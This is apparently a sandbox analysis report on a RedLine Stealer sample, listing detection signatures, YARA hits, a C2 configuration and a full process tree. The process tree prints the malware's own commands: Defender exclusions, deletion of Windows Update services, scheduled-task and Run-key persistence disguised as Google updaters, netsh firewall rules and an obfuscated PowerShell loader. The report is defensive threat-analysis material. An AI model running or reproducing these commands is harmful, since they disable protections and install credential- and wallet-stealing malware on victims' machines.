Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample Name:	setup.exe
Analysis ID:	754509
MD5:	9a753beb650c0d6827e05507349d5e2c
SHA1:	3d2ff8f05f38d4ed25ceb0acdaccb7a77947553a
SHA256:	d0d72bb86445f46afd1cff56e317543011d1d4a4b6ba18791b63b26a7282af7c
Tags:	exe
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Sigma detected: Stop multiple services

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Uses netsh to modify the Windows network and firewall settings

Uses cmd line tools excessively to alter registry or file data

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Machine Learning detection for sample

Allocates memory in foreign processes

Creates files in the system32 config directory

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Tries to detect virtualization through RDTSC time measurements

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Uses powercfg.exe to modify the power settings

Sample uses process hollowing technique

Modifies power options to not sleep / hibernate

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Found hidden mapped module (file has been removed from disk)

Obfuscated command line found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Modifies the windows firewall

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Sleep loop found (likely to delay execution)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Uses reg.exe to modify the Windows registry

PE file contains more sections than normal

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Stores large binary data to the registry

Found potential string decryption / allocating functions

Creates job files (autostart)

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

setup.exe (PID: 3648 cmdline: C:\Users\user\Desktop\setup.exe MD5: 9A753BEB650C0D6827E05507349D5E2C)

conhost.exe (PID: 5280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 860 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

brave.exe (PID: 5284 cmdline: "C:\Users\user\AppData\Local\Google\brave.exe" MD5: 9253ED091D81E076A3037E12AF3DC871)

powershell.exe (PID: 5964 cmdline: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 2824 cmdline: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5920 cmdline: sc stop UsoSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 1876 cmdline: sc stop WaaSMedicSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 5760 cmdline: sc stop wuauserv MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 4392 cmdline: sc stop bits MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 3648 cmdline: sc stop dosvc MD5: D79784553A9410D15E04766AAAB77CD6)

reg.exe (PID: 3928 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 3184 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 5620 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 352 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 2240 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 4504 cmdline: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powercfg.exe (PID: 4904 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 5636 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 5732 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 4336 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powershell.exe (PID: 3104 cmdline: powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' } MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dialer.exe (PID: 5896 cmdline: C:\Windows\system32\dialer.exe MD5: 0EC74656A7F7667DD94C76081B111827)

powershell.exe (PID: 1736 cmdline: powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" } MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5856 cmdline: "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

ofg.exe (PID: 5840 cmdline: "C:\Users\user\AppData\Local\Google\ofg.exe" MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 5212 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 5088 cmdline: "C:\Users\user\AppData\Local\Google\chrome.exe" MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 64 cmdline: powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5236 cmdline: powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5064 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 3032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 2860 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

GoogleUpdate.exe (PID: 5532 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

GoogleUpdate.exe (PID: 5216 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

netsh.exe (PID: 5520 cmdline: netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 1920 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 5972 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ofg.exe (PID: 2232 cmdline: C:\Users\user\AppData\Local\Google\ofg.exe MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 2296 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 5420 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 5416 cmdline: powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 3624 cmdline: powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 3300 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 4336 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

GoogleUpdate.exe (PID: 4416 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

GoogleUpdate.exe (PID: 6124 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

GoogleUpdate.exe (PID: 5524 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

chrome.exe (PID: 4304 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 2548 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})" MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 4520 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})" MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dllhost.exe (PID: 5604 cmdline: C:\Windows\System32\dllhost.exe /Processid:{29a9a3a9-f91b-48e0-a57c-b80e63016d7e} MD5: 2528137C6745C4EADD87817A1909677E)

updater.exe (PID: 5288 cmdline: C:\Program Files\Google\Chrome\updater.exe MD5: EB27BB8CFA99D659E4FE023E9002ECD1)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["79.137.204.112:80"], "Bot Id": "@Norka16", "Message": "Click Close to exit the program. Error code: 1142", "Authorization Header": "3fd68ba186faa3cfc903b8bd9928c0f8"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Google\ofg.exe	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000049.00000002.596818252.0000020DEA620000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
0000004B.00000002.600391370.000001D03D210000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
0000004B.00000002.597332163.000001D03CFC0000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000049.00000002.598194987.0000020DEA650000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000049.00000000.559652688.000000014001C000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x5987:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
0000004B.00000002.607799213.000001D03D2A0000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000049.00000002.594389851.0000000140000000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x21987:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000004B.00000002.607598805.000001D03D260000.00000040.00000001.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000000.00000003.295712135.0000000001EB2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: setup.exe PID: 3648	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 860	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.0.ofg.exe.b20000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
10.2.ofg.exe.b20000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
75.2.updater.exe.1d03d260000.2.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.14001e0b0.7.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
73.0.dllhost.exe.140000000.5.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x1db87:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
0.3.setup.exe.1eb0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.setup.exe.1eb0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x210e4:$pat14: , CommandLine: 0x18d66:$v2_1: ListOfProcesses 0x18aef:$v4_3: base64str 0x19b85:$v4_4: stringKey 0x16708:$v4_5: BytesToStringConverted 0x15770:$v4_6: FromBase64 0x16edc:$v4_8: procName 0x1725f:$v5_1: DownloadAndExecuteUpdate 0x189ff:$v5_2: ITaskProcessor 0x1724d:$v5_3: CommandLineUpdate 0x1723e:$v5_4: DownloadUpdate 0x178f3:$v5_5: FileScanning 0x16a77:$v5_7: RecordHeaderField 0x16496:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
75.2.updater.exe.1d03cfc0000.0.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
0.2.setup.exe.413788.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.setup.exe.413788.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1f4e4:$pat14: , CommandLine: 0x17166:$v2_1: ListOfProcesses 0x16eef:$v4_3: base64str 0x17f85:$v4_4: stringKey 0x14b08:$v4_5: BytesToStringConverted 0x13b70:$v4_6: FromBase64 0x152dc:$v4_8: procName 0x1565f:$v5_1: DownloadAndExecuteUpdate 0x16dff:$v5_2: ITaskProcessor 0x1564d:$v5_3: CommandLineUpdate 0x1563e:$v5_4: DownloadUpdate 0x15cf3:$v5_5: FileScanning 0x14e77:$v5_7: RecordHeaderField 0x14896:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
4.0.ofg.exe.b20000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
33.0.GoogleUpdate.exe.a50000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 